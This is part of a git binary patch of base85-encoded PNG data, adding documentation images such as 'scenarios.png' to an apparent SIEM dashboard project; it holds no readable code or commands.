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 LmTKD8y~qCp4RKvC literal 0 HcmV?d00001 diff --git a/PROJECTS/intermediate/siem-dashboard/docs/images/scenarios.png b/PROJECTS/intermediate/siem-dashboard/docs/images/scenarios.png new file mode 100644 index 0000000000000000000000000000000000000000..f44cc0b0341399e981187cf49388c2c7b08b18c5 GIT binary patch literal 128227 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 